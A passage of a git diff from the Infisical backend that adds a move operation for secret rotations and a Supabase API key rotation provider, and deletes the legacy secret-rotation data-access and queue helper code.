+    if (destinationFolder.id === sourceFolderId)
+      throw new BadRequestError({
+        message: "Source and destination locations are the same"
+      });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionSecretRotationActions.Create,
+      getSecretRotationSubject(secretRotation, {
+        environment: destinationEnvironment,
+        secretPath: destinationSecretPath
+      })
+    );
+
+    const mappedKeys = Object.values(secretsMapping as TSecretRotationV2["secretsMapping"]);
+
+    const { encryptor: secretManagerEncryptor, decryptor: secretManagerDecryptor } =
+      await kmsService.createCipherPairWithDataKey({
+        type: KmsDataKey.SecretManager,
+        projectId
+      });
+
+    const updatedRotation = await secretRotationV2DAL.transaction(async (tx) => {
+      const conflictingRotation = await secretRotationV2DAL.findOne({
+        name: secretRotation.name,
+        folderId: destinationFolder.id
+      });
+
+      if (conflictingRotation)
+        throw new BadRequestError({
+          message: `A Secret Rotation with the name "${secretRotation.name}" already exists at the secret path "${destinationSecretPath}"`
+        });
+
+      const conflictingDestinationSecrets = await $findConflictingSecrets({
+        secretKeys: mappedKeys,
+        folderId: destinationFolder.id
+      });
+
+      if (conflictingDestinationSecrets.length && !overwriteDestination) {
+        throw new BadRequestError({
+          message: `The following secrets already exist at the destination path "${destinationSecretPath}": ${conflictingDestinationSecrets
+            .map(({ key }) => key)
+            .join(", ")}. Set "overwriteDestination" to true to replace them.`
+        });
+      }
+
+      if (conflictingDestinationSecrets.length && overwriteDestination) {
+        await secretV2BridgeDAL.deleteMany(
+          conflictingDestinationSecrets.map((s) => ({ key: s.key, type: SecretType.Shared })),
+          destinationFolder.id,
+          actor.id,
+          tx
+        );
+      }
+
+      const sourceSecrets = await secretV2BridgeDAL.find(
+        {
+          $in: {
+            [`${TableName.SecretV2}.key` as "key"]: mappedKeys
+          },
+          [`${TableName.SecretV2}.folderId` as "folderId"]: sourceFolderId,
+          [`${TableName.SecretV2}.type` as "type"]: SecretType.Shared
+        },
+        { tx }
+      );
+
+      if (sourceSecrets.length) {
+        await tx(TableName.SecretV2)
+          .whereIn(
+            "id",
+            sourceSecrets.map((s) => s.id)
+          )
+          .update({ folderId: destinationFolder.id });
+
+        await secretVersionV2BridgeDAL.update(
+          {
+            $in: {
+              secretId: sourceSecrets.map((s) => s.id)
+            }
+          },
+          { folderId: destinationFolder.id },
+          tx
+        );
+
+        for await (const secret of sourceSecrets) {
+          await fnUpdateMovedSecretReferences({
+            orgId: actor.orgId,
+            projectId,
+            sourceEnvironment: environment.slug,
+            sourceSecretPath: folder.path,
+            sourceFolderId,
+            destinationEnvironment,
+            destinationSecretPath,
+            destinationFolderId: destinationFolder.id,
+            secretKey: secret.key,
+            secretId: secret.id,
+            secretDAL: secretV2BridgeDAL,
+            secretVersionDAL: secretVersionV2BridgeDAL,
+            folderCommitService,
+            folderDAL,
+            secretQueueService,
+            encryptor: ({ plainText }) => secretManagerEncryptor({ plainText }),
+            decryptor: ({ cipherTextBlob }) => secretManagerDecryptor({ cipherTextBlob }),
+            tx
+          });
+        }
+      }
+
+      return secretRotationV2DAL.updateById(rotationId, { folderId: destinationFolder.id }, tx);
+    });
+
+    await secretV2BridgeDAL.invalidateSecretCacheByProjectId(projectId);
+
+    await snapshotService.performSnapshot(destinationFolder.id);
+    await secretQueueService.syncSecrets({
+      orgId: connection.orgId,
+      secretPath: destinationSecretPath,
+      projectId,
+      environmentSlug: destinationEnvironment,
+      excludeReplication: true
+    });
+
+    await snapshotService.performSnapshot(sourceFolderId);
+    await secretQueueService.syncSecrets({
+      orgId: connection.orgId,
+      secretPath: folder.path,
+      projectId,
+      environmentSlug: environment.slug,
+      excludeReplication: true
+    });
+
+    return {
+      secretRotation: await expandSecretRotation(updatedRotation, kmsService),
+      sourceEnvironment: environment.slug,
+      sourceSecretPath: folder.path
+    };
+  };
+
   const triggerFailedWebhook = async (
     projectId: string,
     environment: { slug: string; name: string; id: string },
@@ -1474,7 +1695,7 @@ export const secretRotationV2ServiceFactory = ({
       {
         projectId,
         $search: {
-          name: `%${search}%`
+          name: search
         },
         $in: {
           folderId: permissiveFolderMappings.map(({ folderId }) => folderId)
@@ -1684,6 +1905,7 @@ export const secretRotationV2ServiceFactory = ({
     findSecretRotationById,
     findSecretRotationByName,
     deleteSecretRotation,
+    moveSecretRotation,
     findSecretRotationGeneratedCredentialsById,
     rotateSecretRotation,
     rotateGeneratedCredentials,
diff --git a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-types.ts b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-types.ts
index 028aa39d76d..e9a67ff84a8 100644
--- a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-types.ts
+++ b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-types.ts
@@ -109,6 +109,13 @@ import {
 } from "./redis-credentials/redis-credentials-rotation-types";
 import { TSecretRotationV2DALFactory } from "./secret-rotation-v2-dal";
 import { SecretRotation } from "./secret-rotation-v2-enums";
+import {
+  TSupabaseApiKeyRotation,
+  TSupabaseApiKeyRotationGeneratedCredentials,
+  TSupabaseApiKeyRotationInput,
+  TSupabaseApiKeyRotationListItem,
+  TSupabaseApiKeyRotationWithConnection
+} from "./supabase-api-key";
 import {
   TUnixLinuxLocalAccountRotation,
   TUnixLinuxLocalAccountRotationGeneratedCredentials,
@@ -141,7 +148,8 @@ export type TSecretRotationV2 =
   | TDbtServiceTokenRotation
   | TWindowsLocalAccountRotation
   | TOpenRouterApiKeyRotation
-  | THpIloRotation;
+  | THpIloRotation
+  | TSupabaseApiKeyRotation;
 
 export type TSecretRotationV2WithConnection =
   | TPostgresCredentialsRotationWithConnection
@@ -160,7 +168,8 @@ export type TSecretRotationV2WithConnection =
   | TDbtServiceTokenRotationWithConnection
   | TWindowsLocalAccountRotationWithConnection
   | TOpenRouterApiKeyRotationWithConnection
-  | THpIloRotationWithConnection;
+  | THpIloRotationWithConnection
+  | TSupabaseApiKeyRotationWithConnection;
 
 export type TSecretRotationV2GeneratedCredentials =
   | TSqlCredentialsRotationGeneratedCredentials
@@ -175,7 +184,8 @@ export type TSecretRotationV2GeneratedCredentials =
   | TDbtServiceTokenRotationGeneratedCredentials
   | TWindowsLocalAccountRotationGeneratedCredentials
   | TOpenRouterApiKeyRotationGeneratedCredentials
-  | THpIloRotationGeneratedCredentials;
+  | THpIloRotationGeneratedCredentials
+  | TSupabaseApiKeyRotationGeneratedCredentials;
 
 export type TSecretRotationV2Input =
   | TPostgresCredentialsRotationInput
@@ -194,7 +204,8 @@ export type TSecretRotationV2Input =
   | TDbtServiceTokenRotationInput
   | TWindowsLocalAccountRotationInput
   | TOpenRouterApiKeyRotationInput
-  | THpIloRotationInput;
+  | THpIloRotationInput
+  | TSupabaseApiKeyRotationInput;
 
 export type TSecretRotationV2ListItem =
   | TPostgresCredentialsRotationListItem
@@ -213,7 +224,8 @@ export type TSecretRotationV2ListItem =
   | TDbtServiceTokenRotationListItem
   | TWindowsLocalAccountRotationListItem
   | TOpenRouterApiKeyRotationListItem
-  | THpIloRotationListItem;
+  | THpIloRotationListItem
+  | TSupabaseApiKeyRotationListItem;
 
 export type TSecretRotationV2TemporaryParameters =
   | TLdapPasswordRotationInput["temporaryParameters"]
@@ -272,6 +284,14 @@ export type TDeleteSecretRotationV2DTO = {
   revokeGeneratedCredentials: boolean;
 };
 
+export type TMoveSecretRotationV2DTO = {
+  type: SecretRotation;
+  rotationId: string;
+  destinationEnvironment: string;
+  destinationSecretPath: string;
+  overwriteDestination: boolean;
+};
+
 /** Minimal rotation shape needed to build a permission subject (env, path, connectionId). */
 export type TSecretRotationV2PermissionContext = {
   environment: { slug: string };
diff --git a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-union-schema.ts b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-union-schema.ts
index be478fde0c5..8b88b76faa4 100644
--- a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-union-schema.ts
+++ b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-union-schema.ts
@@ -18,6 +18,7 @@ import { WindowsLocalAccountRotationSchema } from "@app/ee/services/secret-rotat
 
 import { DbtServiceTokenRotationSchema } from "./dbt-service-token";
 import { HpIloRotationSchema } from "./hp-ilo-rotation";
+import { SupabaseApiKeyRotationSchema } from "./supabase-api-key";
 
 export const SecretRotationV2Schema = z.discriminatedUnion("type", [
   PostgresCredentialsRotationSchema,
@@ -36,5 +37,6 @@ export const SecretRotationV2Schema = z.discriminatedUnion("type", [
   DbtServiceTokenRotationSchema,
   WindowsLocalAccountRotationSchema,
   OpenRouterApiKeyRotationSchema,
-  HpIloRotationSchema
+  HpIloRotationSchema,
+  SupabaseApiKeyRotationSchema
 ]);
diff --git a/backend/src/ee/services/secret-rotation-v2/supabase-api-key/index.ts b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/index.ts
new file mode 100644
index 00000000000..9e5d61a0555
--- /dev/null
+++ b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/index.ts
@@ -0,0 +1,3 @@
+export * from "./supabase-api-key-rotation-constants";
+export * from "./supabase-api-key-rotation-schemas";
+export * from "./supabase-api-key-rotation-types";
diff --git a/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-constants.ts b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-constants.ts
new file mode 100644
index 00000000000..5d0604b03ad
--- /dev/null
+++ b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-constants.ts
@@ -0,0 +1,14 @@
+import { SecretRotation } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-enums";
+import { TSecretRotationV2ListItem } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-types";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+
+export const SUPABASE_API_KEY_ROTATION_LIST_OPTION: TSecretRotationV2ListItem = {
+  name: "Supabase API Key",
+  type: SecretRotation.SupabaseApiKey,
+  connection: AppConnection.Supabase,
+  template: {
+    secretsMapping: {
+      apiKey: "SUPABASE_API_KEY"
+    }
+  }
+};
diff --git a/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-fns.ts b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-fns.ts
new file mode 100644
index 00000000000..2d898d3f866
--- /dev/null
+++ b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-fns.ts
@@ -0,0 +1,156 @@
+import { AxiosError } from "axios";
+
+import {
+  TRotationFactory,
+  TRotationFactoryGetSecretsPayload,
+  TRotationFactoryIssueCredentials,
+  TRotationFactoryRevokeCredentials,
+  TRotationFactoryRotateCredentials
+} from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-types";
+import { request } from "@app/lib/config/request";
+import { BadRequestError } from "@app/lib/errors";
+import {
+  getSupabaseAuthHeaders,
+  getSupabaseInstanceUrl
+} from "@app/services/app-connection/supabase/supabase-connection-public-client";
+
+import { SupabaseApiKeyType } from "./supabase-api-key-rotation-schemas";
+import {
+  TSupabaseApiKeyCreateResponse,
+  TSupabaseApiKeyRotationGeneratedCredentials,
+  TSupabaseApiKeyRotationWithConnection
+} from "./supabase-api-key-rotation-types";
+
+const createErrorMessage = (error: unknown) => {
+  if (error instanceof AxiosError) {
+    const data = error.response?.data as { message?: string } | undefined;
+    if (data?.message) {
+      return data.message;
+    }
+    if (error.message) {
+      return error.message;
+    }
+  }
+  return (error as Error)?.message ?? "Unknown error";
+};
+
+export const supabaseApiKeyRotationFactory: TRotationFactory<
+  TSupabaseApiKeyRotationWithConnection,
+  TSupabaseApiKeyRotationGeneratedCredentials
+> = (secretRotation) => {
+  const {
+    connection,
+    parameters: { projectRef, keyType },
+    secretsMapping
+  } = secretRotation;
+
+  const connectionConfig = {
+    method: connection.method,
+    app: connection.app,
+    credentials: connection.credentials,
+    orgId: connection.orgId
+  };
+
+  const $createApiKey = async () => {
+    const baseUrl = await getSupabaseInstanceUrl(connectionConfig);
+    const headers = getSupabaseAuthHeaders(connectionConfig);
+
+    try {
+      const { data } = await request.post<TSupabaseApiKeyCreateResponse>(
+        `${baseUrl}/v1/projects/${encodeURIComponent(projectRef)}/api-keys`,
+        {
+          type: keyType === SupabaseApiKeyType.Publishable ? "publishable" : "secret",
+          name: `infisical_rotated_${keyType}_${Date.now()}`,
+          description: "Managed by Infisical secret rotation"
+        },
+        {
+          headers: {
+            ...headers,
+            "Content-Type": "application/json"
+          },
+          params: { reveal: true }
+        }
+      );
+
+      if (!data.api_key || !data.id) {
+        throw new Error("Invalid response from Supabase: missing 'api_key' or 'id'.");
+      }
+
+      return {
+        apiKey: data.api_key,
+        keyId: data.id
+      };
+    } catch (error: unknown) {
+      throw new BadRequestError({
+        message: `Failed to create Supabase API key: ${createErrorMessage(error)}`
+      });
+    }
+  };
+
+  const $deleteApiKey = async (keyId: string) => {
+    const baseUrl = await getSupabaseInstanceUrl(connectionConfig);
+    const headers = getSupabaseAuthHeaders(connectionConfig);
+
+    try {
+      await request.delete(
+        `${baseUrl}/v1/projects/${encodeURIComponent(projectRef)}/api-keys/${encodeURIComponent(keyId)}`,
+        {
+          headers,
+          params: { reason: "Rotated by Infisical" }
+        }
+      );
+    } catch (error: unknown) {
+      if (error instanceof AxiosError && error.response?.status === 404) {
+        return;
+      }
+
+      throw new BadRequestError({
+        message: `Failed to delete Supabase API key: ${createErrorMessage(error)}`
+      });
+    }
+  };
+
+  const issueCredentials: TRotationFactoryIssueCredentials<TSupabaseApiKeyRotationGeneratedCredentials> = async (
+    callback
+  ) => {
+    const credentials = await $createApiKey();
+    return callback(credentials);
+  };
+
+  const revokeCredentials: TRotationFactoryRevokeCredentials<TSupabaseApiKeyRotationGeneratedCredentials> = async (
+    credentials,
+    callback
+  ) => {
+    if (!credentials?.length) return callback();
+
+    await Promise.all(credentials.map(({ keyId }) => $deleteApiKey(keyId)));
+
+    return callback();
+  };
+
+  const rotateCredentials: TRotationFactoryRotateCredentials<TSupabaseApiKeyRotationGeneratedCredentials> = async (
+    oldCredentials,
+    callback
+  ) => {
+    const newCredentials = await $createApiKey();
+
+    const result = await callback(newCredentials);
+
+    if (oldCredentials?.keyId) {
+      await $deleteApiKey(oldCredentials.keyId);
+    }
+
+    return result;
+  };
+
+  const getSecretsPayload: TRotationFactoryGetSecretsPayload<TSupabaseApiKeyRotationGeneratedCredentials> = ({
+    apiKey
+  }) => [{ key: secretsMapping.apiKey, value: apiKey }];
+
+  return {
+    issueCredentials,
+    revokeCredentials,
+    rotateCredentials,
+    getSecretsPayload
+  };
+};
diff --git a/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-schemas.ts b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-schemas.ts
new file mode 100644
index 00000000000..b3b262eeab8
--- /dev/null
+++ b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-schemas.ts
@@ -0,0 +1,67 @@
+import { z } from "zod";
+
+import { SecretRotation } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-enums";
+import {
+  BaseCreateSecretRotationSchema,
+  BaseSecretRotationSchema,
+  BaseUpdateSecretRotationSchema
+} from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-schemas";
+import { SecretRotations } from "@app/lib/api-docs";
+import { SecretNameSchema } from "@app/server/lib/schemas";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+
+export const SupabaseApiKeyRotationGeneratedCredentialsSchema = z
+  .object({
+    apiKey: z.string(),
+    keyId: z.string()
+  })
+  .array()
+  .min(1)
+  .max(2);
+
+export enum SupabaseApiKeyType {
+  Publishable = "publishable",
+  Secret = "secret"
+}
+
+const SupabaseApiKeyRotationParametersSchema = z.object({
+  projectRef: z
+    .string()
+    .trim()
+    .min(1, "Project reference required")
+    .describe(SecretRotations.PARAMETERS.SUPABASE_API_KEY.projectRef),
+  keyType: z.nativeEnum(SupabaseApiKeyType).describe(SecretRotations.PARAMETERS.SUPABASE_API_KEY.keyType)
+});
+
+const SupabaseApiKeyRotationSecretsMappingSchema = z.object({
+  apiKey: SecretNameSchema.describe(SecretRotations.SECRETS_MAPPING.SUPABASE_API_KEY.apiKey)
+});
+
+export const SupabaseApiKeyRotationTemplateSchema = z.object({
+  secretsMapping: z.object({
+    apiKey: z.string()
+  })
+});
+
+export const SupabaseApiKeyRotationSchema = BaseSecretRotationSchema(SecretRotation.SupabaseApiKey).extend({
+  type: z.literal(SecretRotation.SupabaseApiKey),
+  parameters: SupabaseApiKeyRotationParametersSchema,
+  secretsMapping: SupabaseApiKeyRotationSecretsMappingSchema
+});
+
+export const CreateSupabaseApiKeyRotationSchema = BaseCreateSecretRotationSchema(SecretRotation.SupabaseApiKey).extend({
+  parameters: SupabaseApiKeyRotationParametersSchema,
+  secretsMapping: SupabaseApiKeyRotationSecretsMappingSchema
+});
+
+export const UpdateSupabaseApiKeyRotationSchema = BaseUpdateSecretRotationSchema(SecretRotation.SupabaseApiKey).extend({
+  parameters: SupabaseApiKeyRotationParametersSchema.optional(),
+  secretsMapping: SupabaseApiKeyRotationSecretsMappingSchema.optional()
+});
+
+export const SupabaseApiKeyRotationListItemSchema = z.object({
+  name: z.literal("Supabase API Key"),
+  connection: z.literal(AppConnection.Supabase),
+  type: z.literal(SecretRotation.SupabaseApiKey),
+  template: SupabaseApiKeyRotationTemplateSchema
+});
diff --git a/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-types.ts b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-types.ts
new file mode 100644
index 00000000000..374b2489eb0
--- /dev/null
+++ b/backend/src/ee/services/secret-rotation-v2/supabase-api-key/supabase-api-key-rotation-types.ts
@@ -0,0 +1,37 @@
+import { z } from "zod";
+
+import { TSupabaseConnection } from "@app/services/app-connection/supabase";
+
+import {
+  CreateSupabaseApiKeyRotationSchema,
+  SupabaseApiKeyRotationGeneratedCredentialsSchema,
+  SupabaseApiKeyRotationListItemSchema,
+  SupabaseApiKeyRotationSchema
+} from "./supabase-api-key-rotation-schemas";
+
+export type TSupabaseApiKeyRotation = z.infer<typeof SupabaseApiKeyRotationSchema>;
+
+export type TSupabaseApiKeyRotationInput = z.infer<typeof CreateSupabaseApiKeyRotationSchema>;
+
+export type TSupabaseApiKeyRotationListItem = z.infer<typeof SupabaseApiKeyRotationListItemSchema>;
+
+export type TSupabaseApiKeyRotationWithConnection = TSupabaseApiKeyRotation & {
+  connection: TSupabaseConnection;
+};
+
+export type TSupabaseApiKeyRotationGeneratedCredentials = z.infer<
+  typeof SupabaseApiKeyRotationGeneratedCredentialsSchema
+>;
+
+export type TSupabaseApiKeyCreateResponse = {
+  api_key: string | null;
+  id: string | null;
+  type: "legacy" | "publishable" | "secret" | null;
+  prefix: string | null;
+  name: string;
+  description: string | null;
+  hash: string | null;
+  secret_jwt_template: Record<string, unknown> | null;
+  inserted_at: string | null;
+  updated_at: string | null;
+};
diff --git a/backend/src/ee/services/secret-rotation/secret-rotation-dal.ts b/backend/src/ee/services/secret-rotation/secret-rotation-dal.ts
deleted file mode 100644
index 7f885e4f935..00000000000
--- a/backend/src/ee/services/secret-rotation/secret-rotation-dal.ts
+++ /dev/null
@@ -1,159 +0,0 @@
-import { Knex } from "knex";
-
-import { TDbClient } from "@app/db";
-import { SecretRotationsSchema, TableName, TSecretRotations } from "@app/db/schemas";
-import { DatabaseError } from "@app/lib/errors";
-import { ormify, selectAllTableCols, sqlNestRelationships, TFindFilter } from "@app/lib/knex";
-
-export type TSecretRotationDALFactory = ReturnType<typeof secretRotationDALFactory>;
-
-export const secretRotationDALFactory = (db: TDbClient) => {
-  const secretRotationOrm = ormify(db, TableName.SecretRotation);
-  const secretRotationOutputOrm = ormify(db, TableName.SecretRotationOutput);
-  const secretRotationOutputV2Orm = ormify(db, TableName.SecretRotationOutputV2);
-
-  const findQuery = (filter: TFindFilter<TSecretRotations & { projectId: string }>, tx: Knex) =>
-    tx(TableName.SecretRotation)
-      .where(filter)
-      .join(TableName.Environment, `${TableName.SecretRotation}.envId`, `${TableName.Environment}.id`)
-      .leftJoin(
-        TableName.SecretRotationOutput,
-        `${TableName.SecretRotation}.id`,
-        `${TableName.SecretRotationOutput}.rotationId`
-      )
-      .join(TableName.Secret, `${TableName.SecretRotationOutput}.secretId`, `${TableName.Secret}.id`)
-      .select(selectAllTableCols(TableName.SecretRotation))
-      .select(tx.ref("name").withSchema(TableName.Environment).as("envName"))
-      .select(tx.ref("slug").withSchema(TableName.Environment).as("envSlug"))
-      .select(tx.ref("id").withSchema(TableName.Environment).as("envId"))
-      .select(tx.ref("projectId").withSchema(TableName.Environment))
-      .select(tx.ref("key").withSchema(TableName.SecretRotationOutput).as("outputKey"))
-      .select(tx.ref("id").withSchema(TableName.Secret).as("secId"))
-      .select(tx.ref("version").withSchema(TableName.Secret).as("secVersion"))
-      .select(tx.ref("secretKeyIV").withSchema(TableName.Secret))
-      .select(tx.ref("secretKeyTag").withSchema(TableName.Secret))
-      .select(tx.ref("secretKeyCiphertext").withSchema(TableName.Secret));
-
-  const find = async (filter: TFindFilter<TSecretRotations & { projectId: string }>, tx?: Knex) => {
-    try {
-      const data = await findQuery(filter, tx || db.replicaNode());
-      return sqlNestRelationships({
-        data,
-        key: "id",
-        parentMapper: (el) => ({
-          ...SecretRotationsSchema.parse(el),
-          projectId: el.projectId,
-          environment: { id: el.envId, name: el.envName, slug: el.envSlug }
-        }),
-        childrenMapper: [
-          {
-            key: "secId",
-            label: "outputs" as const,
-            mapper: ({ secId, outputKey, secVersion, secretKeyIV, secretKeyTag, secretKeyCiphertext }) => ({
-              key: outputKey,
-              secret: {
-                id: secId,
-                version: secVersion,
-                secretKeyIV,
-                secretKeyTag,
-                secretKeyCiphertext
-              }
-            })
-          }
-        ]
-      });
-    } catch (error) {
-      throw new DatabaseError({ error, name: "SecretRotationFind" });
-    }
-  };
-
-  const findQuerySecretV2 = (filter: TFindFilter<TSecretRotations & { projectId: string }>, tx: Knex) =>
-    tx(TableName.SecretRotation)
-      .where(filter)
-      .join(TableName.Environment, `${TableName.SecretRotation}.envId`, `${TableName.Environment}.id`)
-      .leftJoin(
-        TableName.SecretRotationOutputV2,
-        `${TableName.SecretRotation}.id`,
-        `${TableName.SecretRotationOutputV2}.rotationId`
-      )
-      .join(TableName.SecretV2, `${TableName.SecretRotationOutputV2}.secretId`, `${TableName.SecretV2}.id`)
-      .select(selectAllTableCols(TableName.SecretRotation))
-      .select(tx.ref("name").withSchema(TableName.Environment).as("envName"))
-      .select(tx.ref("slug").withSchema(TableName.Environment).as("envSlug"))
-      .select(tx.ref("id").withSchema(TableName.Environment).as("envId"))
-      .select(tx.ref("projectId").withSchema(TableName.Environment))
-      .select(tx.ref("key").withSchema(TableName.SecretRotationOutputV2).as("outputKey"))
-      .select(tx.ref("id").withSchema(TableName.SecretV2).as("secId"))
-      .select(tx.ref("version").withSchema(TableName.SecretV2).as("secVersion"))
-      .select(tx.ref("key").withSchema(TableName.SecretV2).as("secretKey"));
-
-  const findSecretV2 = async (filter: TFindFilter<TSecretRotations & { projectId: string }>, tx?: Knex) => {
-    try {
-      const data = await findQuerySecretV2(filter, tx || db.replicaNode());
-      return sqlNestRelationships({
-        data,
-        key: "id",
-        parentMapper: (el) => ({
-          ...SecretRotationsSchema.parse(el),
-          projectId: el.projectId,
-          environment: { id: el.envId, name: el.envName, slug: el.envSlug }
-        }),
-        childrenMapper: [
-          {
-            key: "secId",
-            label: "outputs" as const,
-            mapper: ({ secId, outputKey, secVersion, secretKey }) => ({
-              key: outputKey,
-              secret: {
-                id: secId,
-                version: secVersion,
-                secretKey
-              }
-            })
-          }
-        ]
-      });
-    } catch (error) {
-      throw new DatabaseError({ error, name: "SecretRotationFind" });
-    }
-  };
-
-  const findById = async (id: string, tx?: Knex) => {
-    try {
-      const doc = await (tx || db.replicaNode())(TableName.SecretRotation)
-        .join(TableName.Environment, `${TableName.SecretRotation}.envId`, `${TableName.Environment}.id`)
-        .where({ [`${TableName.SecretRotation}.id` as "id"]: id })
-        .select(selectAllTableCols(TableName.SecretRotation))
-        .select(
-          db.ref("id").withSchema(TableName.Environment).as("envId"),
-          db.ref("projectId").withSchema(TableName.Environment),
-          db.ref("slug").withSchema(TableName.Environment).as("envSlug"),
-          db.ref("name").withSchema(TableName.Environment).as("envName")
-        )
-        .first();
-      if (doc) {
-        const { envName, envSlug, envId, ...el } = doc;
-        return { ...el, envId, environment: { id: envId, slug: envSlug, name: envName } };
-      }
-    } catch (error) {
-      throw new DatabaseError({ error, name: "SecretRotationFindById" });
-    }
-  };
-
-  const findRotationOutputsByRotationId = async (rotationId: string) => secretRotationOutputOrm.find({ rotationId });
-  const findRotationOutputsV2ByRotationId = async (rotationId: string) =>
-    secretRotationOutputV2Orm.find({ rotationId });
-
-  // special query
-
-  return {
-    ...secretRotationOrm,
-    find,
-    findSecretV2,
-    findById,
-    secretOutputInsertMany: secretRotationOutputOrm.insertMany,
-    secretOutputV2InsertMany: secretRotationOutputV2Orm.insertMany,
-    findRotationOutputsByRotationId,
-    findRotationOutputsV2ByRotationId
-  };
-};
diff --git a/backend/src/ee/services/secret-rotation/secret-rotation-queue/index.ts b/backend/src/ee/services/secret-rotation/secret-rotation-queue/index.ts
deleted file mode 100644
index 1d8c50b363f..00000000000
--- a/backend/src/ee/services/secret-rotation/secret-rotation-queue/index.ts
+++ /dev/null
@@ -1,2 +0,0 @@
-export type { TSecretRotationQueueFactory } from "./secret-rotation-queue";
-export { DisableRotationErrors, secretRotationQueueFactory } from "./secret-rotation-queue";
diff --git a/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue-fn.ts b/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue-fn.ts
deleted file mode 100644
index 8cc7dac4ba8..00000000000
--- a/backend/src/ee/services/secret-rotation/secret-rotation-queue/secret-rotation-queue-fn.ts
+++ /dev/null
@@ -1,193 +0,0 @@
-/* eslint-disable @typescript-eslint/no-unsafe-argument */
-/* eslint-disable @typescript-eslint/no-unsafe-member-access */
-/* eslint-disable @typescript-eslint/no-unsafe-return */
-/* eslint-disable @typescript-eslint/no-unsafe-assignment */
-/* eslint-disable @typescript-eslint/no-explicit-any */
-/* eslint-disable no-param-reassign */
-import axios from "axios";
-import jmespath from "jmespath";
-import knex from "knex";
-
-import { alphaNumericNanoId } from "@app/lib/nanoid";
-
-import { verifyHostInputValidity } from "../../dynamic-secret/dynamic-secret-fns";
-import { TAssignOp, TDbProviderClients, TDirectAssignOp, THttpProviderFunction } from "../templates/types";
-import { TSecretRotationData, TSecretRotationDbFn } from "./secret-rotation-queue-types";
-
-const EXTERNAL_REQUEST_TIMEOUT = 10 * 1000;
-
-const replaceTemplateVariables = (str: string, getValue: (key: string) => unknown) => {
-  // Use array to collect pieces and join at the end (more efficient for large strings)
-  const parts: string[] = [];
-  let pos = 0;
-
-  while (pos < str.length) {
-    const start = str.indexOf("${", pos);
-    if (start === -1) {
-      parts.push(str.slice(pos));
-      break;
-    }
-
-    parts.push(str.slice(pos, start));
-    const end = str.indexOf("}", start + 2);
-
-    if (end === -1) {
-      parts.push(str.slice(start));
-      break;
-    }
-
-    const varName = str.slice(start + 2, end);
-    parts.push(String(getValue(varName)));
-    pos = end + 1;
-  }
-
-  return parts.join("");
-};
-
-export const interpolate = (data: any, getValue: (key: string) => unknown) => {
-  if (!data) return;
-
-  if (typeof data === "number") return data;
-
-  if (typeof data === "string") {
-    return replaceTemplateVariables(data, getValue);
-  }
-
-  if (typeof data === "object" && Array.isArray(data)) {
-    data.forEach((el, index) => {
-      // eslint-disable-next-line
-      data[index] = interpolate(el, getValue);
-    });
-  }
-
-  if (typeof data === "object") {
-    if ((data as { ref: string })?.ref) return getValue((data as { ref: string }).ref);
-    const temp = data as Record<string, unknown>; // for converting ts object to record type
-    Object.keys(temp).forEach((key) => {
-      temp[key] = interpolate(data[key], getValue);
-    });
-  }
-  return data;
-};
-
-const getInterpolationValue = (variables: TSecretRotationData) => (key: string) => {
-  if (key.includes("|")) {
-    const [keyword, ...arg] = key.split("|").map((el) => el.trim());
-    switch (keyword) {
-      case "random": {
-        return alphaNumericNanoId(parseInt(arg[0], 10));
-      }
-      default: {
-        throw Error(`Interpolation key not found - ${key}`);
-      }
-    }
-  }
-  const [type, keyName] = key.split(".").map((el) => el.trim());
-  return variables[type as keyof TSecretRotationData][keyName];
-};
-
-export const secretRotationHttpFn = async (func: THttpProviderFunction, variables: TSecretRotationData) => {
-  // string interpolation
-  const headers = interpolate(func.header, getInterpolationValue(variables));
-  const url = interpolate(func.url, getInterpolationValue(variables));
-  const body = interpolate(func.body, getInterpolationValue(variables));
-  // axios will automatically throw error if req status is not between 2xx range
-  return axios({
-    method: func.method,
-    url,
-    headers,
-    data: body,
-    timeout: EXTERNAL_REQUEST_TIMEOUT,
-    signal: AbortSignal.timeout(EXTERNAL_REQUEST_TIMEOUT)
-  });
-};
-
-export const secretRotationDbFn = async ({
-  ca,
-  host,
-  port,
-  query,
-  database,
-  password,
-  username,
-  client,
-  variables,
-  options
-}: TSecretRotationDbFn) => {
-  const ssl = ca ? { rejectUnauthorized: false, ca } : undefined;
-  const [hostIp] = await verifyHostInputValidity({ host, isDynamicSecret: false });
-  const db = knex({
-    client,
-    connection: {
-      database,
-      port,
-      host: hostIp,
-      user: username,
-      password,
-      connectionTimeoutMillis: EXTERNAL_REQUEST_TIMEOUT,
-      ssl,
-      pool: { min: 0, max: 1 },
-      options
-    }
-  });
-  const data = await db.raw(query, variables);
-  return data;
-};
-
